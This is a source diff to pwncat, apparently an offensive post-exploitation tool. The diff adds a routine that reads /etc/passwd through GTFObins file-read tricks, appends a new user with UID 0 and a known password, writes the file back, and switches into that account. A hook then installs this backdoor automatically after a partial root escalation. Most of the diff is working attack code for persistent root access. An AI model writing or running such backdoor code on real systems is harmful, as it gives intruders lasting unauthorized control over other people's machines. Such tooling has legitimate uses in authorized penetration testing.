diff --git a/pwncat/privesc/__init__.py b/pwncat/privesc/__init__.py index df6e99b..2e23702 100644 --- a/pwncat/privesc/__init__.py +++ b/pwncat/privesc/__init__.py @@ -5,6 +5,7 @@ import crypt from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability from pwncat.privesc.setuid import SetuidMethod from pwncat.privesc.sudo import SudoMethod +from pwncat import downloader from pwncat import gtfobins from pwncat import util @@ -72,6 +73,56 @@ class Finder: return techniques + def add_backdoor(self): + """ Add the backdoor user if it doesn't already exist. This is normally + called in order to solidify full UID=0 access (e.g. when SUID binaries + yield a EUID=0 but UID!=0. """ + + self.pty.reload_users() + + if self.backdoor_user_name not in self.pty.users: + binary = gtfobins.Binary.find_capability(self.pty.which, Capability.READ) + if binary is None: + raise PrivescError("no file read methods available from gtfobins") + + # Read the etc/passwd file + passwd = self.pty.subprocess(binary.read_file("/etc/passwd")) + data = passwd.read() + passwd.close() + + # Split up the file by lines + data = data.decode("utf-8").strip() + data = data.split("\n") + + # Add a new user + password = crypt.crypt(self.backdoor_password) + user = self.backdoor_user_name + data.append(f"{user}:{password}:0:0::/root:{self.pty.shell}") + + # Prepare data for transmission + data = ("\n".join(data) + "\n").encode("utf-8") + + # Find a GTFObins payload that works + binary = gtfobins.Binary.find_capability(self.pty.which, Capability.WRITE) + if binary is None: + raise PrivescError("no file write methods available from gtfobins") + + # Write the file + self.pty.run(binary.write_file("/etc/passwd", data)) + + # Stabilize output after the file write + self.pty.run("echo") + + # Reload the /etc/passwd data + self.pty.reload_users() + + if self.backdoor_user_name not in self.pty.users: + raise PrivescError("/etc/passwd update failed!") + + self.pty.process(f"su {self.backdoor_user_name}", delim=False) + self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n") + self.pty.run("echo") + def write_file( self, filename: str, diff --git a/pwncat/privesc/setuid.py b/pwncat/privesc/setuid.py index 76a2f6c..8ab7549 100644 --- a/pwncat/privesc/setuid.py +++ b/pwncat/privesc/setuid.py @@ -123,10 +123,6 @@ class SetuidMethod(Method): return read_pipe def write_file(self, filepath: str, data: bytes, technique: Technique): - info( - f"attempting to write {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}" - ) - binary = technique.ident payload = binary.write_file(filepath, data) diff --git a/pwncat/privesc/sudo.py b/pwncat/privesc/sudo.py index 6fd8fb9..717c849 100644 --- a/pwncat/privesc/sudo.py +++ b/pwncat/privesc/sudo.py @@ -252,9 +252,6 @@ class SudoMethod(Method): def read_file(self, filepath: str, technique: Technique) -> RemoteBinaryPipe: - info( - f"attempting to read {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}" - ) binary, sudo_spec, password_required = technique.ident read_payload = binary.read_file( @@ -270,9 +267,6 @@ class SudoMethod(Method): def write_file(self, filepath: str, data: bytes, technique: Technique): - info( - f"attempting to write {Fore.BLUE}{filepath}{Fore.RESET} with {Fore.RED}{self.get_name(technique)}{Fore.RESET}" - ) binary, sudo_spec, password_required = technique.ident payload = binary.write_file( filepath, data, sudo_prefix=f"sudo -u {shlex.quote(technique.user)}" @@ -282,3 +276,19 @@ class SudoMethod(Method): self.pty.run( payload, input=functools.partial(self.send_password, self.pty.current_user), ) + + def get_name(self, tech: Technique): + """ Get the name of the given technique for display """ + return ( + ( + f"{Fore.GREEN}{tech.user}{Fore.RESET} via " + f"{Fore.CYAN}{tech.ident[0].path}{Fore.RESET} " + f"({Fore.RED}sudo{Fore.RESET}" + ) + + ( + "" + if tech.ident[2] + else f" {Style.BRIGHT+Fore.RED}NOPASSWD{Style.RESET_ALL}" + ) + + ")" + ) diff --git a/pwncat/pty.py b/pwncat/pty.py index d5e450e..036967b 100644 --- a/pwncat/pty.py +++ b/pwncat/pty.py @@ -610,10 +610,32 @@ class PtyHandler: else: try: chain = self.privesc.escalate(args.user, args.max_depth) + + ident = self.id + backdoor = False + if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: + util.progress( + "EUID != UID. installing backdoor to complete privesc" + ) + try: + self.privesc.add_backdoor() + backdoor = True + except privesc.PrivescError as exc: + util.warn(f"backdoor installation failed: {exc}") + util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") + + if backdoor: + print( + ( + f"{(len(chain)+1)*' '}{arrow}" + f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor" + ) + ) + self.reset() self.do_back([]) except privesc.PrivescError as exc: